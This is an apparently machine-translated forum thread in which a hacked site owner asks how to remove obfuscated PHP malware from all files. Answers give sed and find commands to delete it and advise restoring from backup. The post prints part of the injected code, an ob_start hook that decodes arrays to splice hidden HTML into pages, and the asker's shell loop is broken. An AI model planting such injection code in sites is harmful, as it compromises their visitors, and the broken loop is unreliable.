Назад | Перейти на главную страницу

исключить код хакера из всех файлов с помощью sed или diff

Возможный дубликат:
Мой сервер был взломан в АВАРИИ

Привет,

Мне срочно нужна ваша помощь, так как сервер взломан, и у меня нет времени узнавать, как удалить код хакера из всех файлов. Я прикрепил код, который был добавлен ко всем файлам. В этом коде много специальных символов, и он довольно большой. Добавлялся в файлы иногда дважды.

Я плохо знаю sed, чтобы с его помощью решить эту проблему. Как исключить этот фрагмент кода из всех файлов? Используете sed, diff / patch или другие методы?

Вот часть кода, который нужно удалить:

    <?php global $ob_starting;
if(!$ob_starting) {
   function ob_start_flush($s) {
        $tc = array(0, 69, 83, 84, 82, 67, 7, 79, 9, 8, 23, 73, 12, 76, 68, 78, 63, 24, 14, 19, 3, 65, 27, 17, 85, 70, 80, 16, 29, 11, 89, 86, 2, 66, 77, 93, 91, 71, 18, 72, 20, 75, 87, 22, 74, 13, 59, 61, 52, 37, 28, 35, 15, 1, 21, 25, 34, 92, 36, 41, 30, 88, 46, 33, 51);
        $tr = array(50, 2, 5, 4, 11, 26, 3, 0, 3, 30, 26, 1, 28, 32, 3, 1, 61, 3, 52, 44, 21, 31, 21, 2, 5, 4, 11, 26, 3, 32, 60, 11, 25, 0, 9, 3, 30, 26, 1, 7, 25, 9, 4, 1, 14, 1, 25, 16, 5, 7, 13, 7, 4, 2, 8, 28, 28, 32, 24, 15, 14, 1, 25, 11, 15, 1, 14, 32, 8, 0, 36, 0, 0, 0, 31, 21, 4, 0, 14, 11, 31, 16, 5, 7, 13, 7, 4, 2, 0, 28, 0, 15, 1, 42, 0, 63, 4, 
-------------

-------------
       $i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);

        return $s;
   }
   $ob_starting = time();
   @ob_start("ob_start_flush");

Буду признателен за любую помощь. Спасибо.

Обновить:

I have tried using the code like:

for fname $(grep *.php .); do
        while read; do
                sed -i 's/$REPLY//' $fname
        done < filem
done

где filem - файл с вредоносным кодом. В этом файле я заменил все специальные символы, такие как $ <(и т. Д. На точку '.', Но sed все равно вызывает много ошибок.

Совет в комментариях совершенно правильный. Вам действительно нужно выполнить восстановление из резервной копии, но если код хакера выглядит Точно так же, как ваш пример выше, вы можете попробовать это (сначала сделайте резервную копию своего корневого веб-сайта).

sed -i '/<?php global $ob_starting;/,/@ob_start("ob_start_flush");/d' cleanme.php 

Чтобы пройтись по корневому каталогу и всем подкаталогам, вы можете использовать команду find:

find $WEBROOT -type f -exec sed -i '/<?php global $ob_starting;/,/@ob_start("ob_start_flush");/d' {} \;

Sed удаляет все, что находится между заданными начальными и конечными переменными. Удачи.

вы используете osCommerce? Возможно, вам стоит заглянуть на их форумы поддержки, похоже, другие имеют дело почти с тем же - и удаление кода без понимания проблемы, скорее всего, приведет к тому, что это произойдет снова.

http://forums.oscommerce.com/topic/373376-hacked-by-code-global-ob-starting/

http://forums.oscommerce.com/topic/373373-site-hacked-should-you-upgrade-or-try-to-fix-it-as-it-is/